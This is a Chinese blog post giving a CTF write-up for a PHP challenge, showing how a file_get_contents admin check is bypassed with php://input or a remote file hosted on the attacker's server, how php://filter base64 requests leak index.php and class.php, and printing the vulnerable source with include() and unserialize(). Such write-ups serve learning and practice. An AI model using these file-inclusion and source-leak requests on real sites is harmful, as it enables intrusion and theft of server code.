ctf题php反序列化,[世安杯]一道关于php反序列化漏洞的题目

5be5e9aafdbe?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

Paste_Image.png

没什么信息,因此ctrl+u查看源码:

5be5e9aafdbe?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

Paste_Image.png

看到提示,file_get_contents()函数,联想到文件包含漏洞,因此google一波,查到

5be5e9aafdbe?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

Paste_Image.png

查看原文

因此试一试:

5be5e9aafdbe?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

Paste_Image.png

补充一种饶过方法:

由于本题:allow_url_include=On

因此可以包含一个远程文件,假设你的云服务IP地址为:xxx

则可以输入http://ctf1.shiyanbar.com/shian-du/?user=http://xxxx/a.txt

其中a.txt的内容为:the user is admin

接着使用文件包含查看index.php和class.php的源码

#url

http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

http://ctf1.shiyanbar.com/shian-du/?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

#POST

the user is admin

用base64解码,得到

#index.php

$user = $_GET["user"];

$file = $_GET["file"];

$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){

echo "hello admin!
";

if(preg_match("/f1a9/",$file)){

exit();

}else{

include($file); //class.php

$pass = unserialize($pass);

echo $pass;

}

}else{

echo "you are not admin ! ";

}

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值